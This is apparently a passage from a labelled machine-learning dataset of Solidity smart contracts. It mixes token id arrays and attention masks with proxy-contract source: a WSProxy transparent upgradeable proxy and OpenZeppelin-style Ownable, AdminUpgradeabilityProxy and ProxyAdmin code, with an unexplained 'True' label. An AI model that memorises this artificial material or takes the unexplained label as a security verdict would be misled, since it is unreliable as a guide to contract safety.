1007,
1025,
3853,
5703,
11253,
1006,
4769,
1035,
3954,
1007,
5377,
2270,
5651,
1006,
21318,
3372,
17788,
2575,
5703,
1007,
1025,
1065,
3206,
1041,
2891,
21270,
2003,
9413,
2278,
11387,
1063,
2478,
3647,
18900,
2232,
2005,
21318,
3372,
17788,
2575,
1025,
4769,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// Dependency file: contracts/interfaces/IWSProxy.sol
// pragma solidity ^0.6.12;
interface IWSProxy {
function initialize(address _implementation, address _admin, bytes calldata _data) external;
function upgradeTo(address _proxy) external;
function upgradeToAndCall(address _proxy, bytes calldata data) external payable;
function changeAdmin(address newAdmin) external;
function admin() external returns (address);
function implementation() external returns (address);
}
// Root file: contracts/proxy/WSProxy.sol
pragma solidity ^0.6.12;
// import 'contracts/interfaces/IWSProxy.sol';
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal {
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback () payable external {
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive () payable external {
_delegate(_implementation());
}
}
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*
* Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see
* {TransparentUpgradeableProxy}.
*/
contract UpgradeableProxy is Proxy {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor() public payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
}
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) virtual internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
address implementation = _implementation();
require(implementation != newImplementation, "WSProxy: Attemps update proxy with the same implementation");
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @dev This contract implements a proxy that is upgradeable by an admin.
*
* To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector
* clashing], which can potentially be used in an attack, this contract uses the
* https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two
* things that go hand in hand:
*
* 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if
* that call matches one of the admin functions exposed by the proxy itself.
* 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the
* implementation. If the admin tries to call a function on the implementation it will fail with an error that says
* "admin cannot fallback to proxy target".
*
* These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing
* the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due
* to sudden errors when trying to call a function from the proxy implementation.
*
* Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way,
* you should think of the `ProxyAdmin` instance as the real administrative inerface of your proxy.
*/
contract TransparentUpgradeableProxy is UpgradeableProxy, IWSProxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}.
*/
constructor() public payable UpgradeableProxy() {
require(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1), "Wrong admin slot");
_setAdmin(msg.sender);
}
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @dev Returns the current admin.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`
*/
function admin() external override ifAdmin returns (address) {
return _admin();
}
function initialize(address _newImplementation, address _admin, bytes calldata _data) external override ifAdmin {
_upgradeTo(_newImplementation);
_setAdmin(_admin);
if(_data.length > 0) {
// solhint-disable-next-line avoid-low-level-calls
(bool success,) = _implementation().delegatecall(_data);
require(success);
}
}
/**
* @dev Returns the current implementation.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`
*/
function implementation() external override ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.
*/
function changeAdmin(address newAdmin) external override ifAdmin {
require(newAdmin != _admin(), "WSProxy: new admin is the same admin.");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the implementation of the proxy.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.
*/
function upgradeTo(address newImplementation) external override ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified
* by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the
* proxied contract.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) external override payable ifAdmin {
_upgradeTo(newImplementation);
// solhint-disable-next-line avoid-low-level-calls
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @dev Returns the current admin.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
adm := sload(slot)
}
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
bytes32 slot = _ADMIN_SLOT;
require(newAdmin != address(0), "WSProxy: Can't set admin to zero address.");
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newAdmin)
}
}
} | True | [
101,
1013,
1013,
24394,
5371,
1024,
8311,
1013,
19706,
1013,
1045,
9333,
21572,
18037,
1012,
14017,
1013,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2260,
1025,
8278,
1045,
9333,
21572,
18037,
1063,
3853,
3988,
4697,
1006,
4769,
1035,
7375,
1010,
4769,
1035,
4748,
10020,
1010,
27507,
2655,
2850,
2696,
1035,
2951,
1007,
6327,
1025,
3853,
12200,
3406,
1006,
4769,
1035,
24540,
1007,
6327,
1025,
3853,
12200,
3406,
5685,
9289,
2140,
1006,
4769,
1035,
24540,
1010,
27507,
2655,
2850,
2696,
2951,
1007,
6327,
3477,
3085,
1025,
3853,
2689,
4215,
10020,
1006,
4769,
2047,
4215,
10020,
1007,
6327,
1025,
3853,
4748,
10020,
1006,
1007,
6327,
5651,
1006,
4769,
1007,
1025,
3853,
7375,
1006,
1007,
6327,
5651,
1006,
4769,
1007,
1025,
1065,
1013,
1013,
7117,
5371,
1024,
8311,
1013,
24540,
1013,
1059,
13102,
3217,
18037,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2260,
1025,
1013,
1013,
12324,
1005,
8311,
1013,
19706,
1013,
1045,
9333,
21572,
18037,
1012,
14017,
1005,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
2023,
10061,
3206,
3640,
1037,
2991,
5963,
3853,
2008,
10284,
2035,
4455,
2000,
2178,
3206,
2478,
1996,
23408,
2213,
1008,
7899,
1036,
11849,
9289,
2140,
1036,
1012,
2057,
6523,
2000,
1996,
2117,
3206,
2004,
1996,
1035,
7375,
1035,
2369,
1996,
24540,
1010,
1998,
2009,
2038,
2000,
1008,
2022,
9675,
2011,
2058,
21930,
1996,
7484,
1063,
1035,
7375,
1065,
3853,
1012,
1008,
1008,
5678,
1010,
10656,
2000,
1996,
7375,
2064,
2022,
13330,
21118,
2083,
1996,
1063,
1035,
2991,
5963,
1065,
3853,
1010,
2030,
2000,
1037,
1008,
2367,
3206,
2083,
1996,
1063,
1035,
11849,
1065,
3853,
1012,
1008,
1008,
1996,
3112,
1998,
2709,
2951,
1997,
1996,
11849,
2094,
2655,
2097,
2022,
2513,
2067,
2000,
1996,
20587,
1997,
1996,
24540,
1012,
1008,
1013,
10061,
3206,
24540,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
10284,
1996,
2783,
2655,
2000,
1036,
7375,
1036,
1012,
1008,
1008,
2023,
3853,
2515,
2025,
2709,
2000,
2049,
4722,
2140,
2655,
2609,
1010,
2009,
2097,
2709,
3495,
2000,
1996,
6327,
20587,
1012,
1008,
1013,
3853,
1035,
11849,
1006,
4769,
7375,
1007,
4722,
1063,
1013,
1013,
14017,
10606,
2102,
1011,
4487,
19150,
1011,
2279,
1011,
2240,
2053,
1011,
23881,
1011,
3320,
3320,
1063,
1013,
1013,
6100,
5796,
2290,
1012,
2951,
1012,
2057,
2202,
2440,
2491,
1997,
3638,
1999,
2023,
23881,
3320,
1013,
1013,
3796,
2138,
2009,
2097,
2025,
2709,
2000,
5024,
3012,
3642,
1012,
2057,
2058,
26373,
1996,
1013,
1013,
5024,
3012,
11969,
11687,
2012,
3638,
2597,
1014,
1012,
2655,
2850,
2696,
3597,
7685,
1006,
1014,
1010,
1014,
1010,
2655,
2850,
10230,
4697,
1006,
1007,
1007,
1013,
1013,
2655,
1996,
7375,
1012,
1013,
1013,
2041,
1998,
21100,
4697,
2024,
1014,
2138,
2057,
2123,
1005,
1056,
2113,
1996,
2946,
2664,
1012,
2292,
2765,
1024,
1027,
11849,
9289,
2140,
1006,
3806,
1006,
1007,
1010,
7375,
1010,
1014,
1010,
2655,
2850,
10230,
4697,
1006,
1007,
1010,
1014,
1010,
1014,
1007,
1013,
1013,
6100,
1996,
2513,
2951,
1012,
2709,
2850,
2696,
3597,
7685,
1006,
1014,
1010,
1014,
1010,
2709,
2850,
10230,
4697,
1006,
1007,
1007,
6942,
2765,
1013,
1013,
11849,
9289,
2140,
5651,
1014,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
pragma solidity ^0.5.0;
pragma solidity ^0.5.0;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*
* Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/ownership/Ownable.sol
* This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts
* when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the
* build/artifacts folder) as well as the vanilla Ownable implementation from an openzeppelin version.
*/
contract OpenZeppelinUpgradesOwnable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.0;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
function () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
pragma solidity ^0.5.0;
/**
* Utility library of inline functions on addresses
*
* Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol
* This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts
* when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the
* build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version.
*/
library OpenZeppelinUpgradesAddress {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return Address of the current implementation
*/
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for
* initializing the implementation, admin, and init data.
*/
contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
}
/**
* @title ProxyAdmin
* @dev This contract is the admin of a proxy, and is in charge
* of upgrading it as well as transferring it to another admin.
*/
contract ProxyAdmin is OpenZeppelinUpgradesOwnable {
/**
* @dev Returns the current implementation of a proxy.
* This is needed because only the proxy admin can query it.
* @return The address of the current implementation of the proxy.
*/
function getProxyImplementation(AdminUpgradeabilityProxy proxy) public view returns (address) {
// We need to manually run the static call since the getter cannot be flagged as view
// bytes4(keccak256("implementation()")) == 0x5c60da1b
(bool success, bytes memory returndata) = address(proxy).staticcall(hex"5c60da1b");
require(success);
return abi.decode(returndata, (address));
}
/**
* @dev Returns the admin of a proxy. Only the admin can query it.
* @return The address of the current admin of the proxy.
*/
function getProxyAdmin(AdminUpgradeabilityProxy proxy) public view returns (address) {
// We need to manually run the static call since the getter cannot be flagged as view
// bytes4(keccak256("admin()")) == 0xf851a440
(bool success, bytes memory returndata) = address(proxy).staticcall(hex"f851a440");
require(success);
return abi.decode(returndata, (address));
}
/**
* @dev Changes the admin of a proxy.
* @param proxy Proxy to change admin.
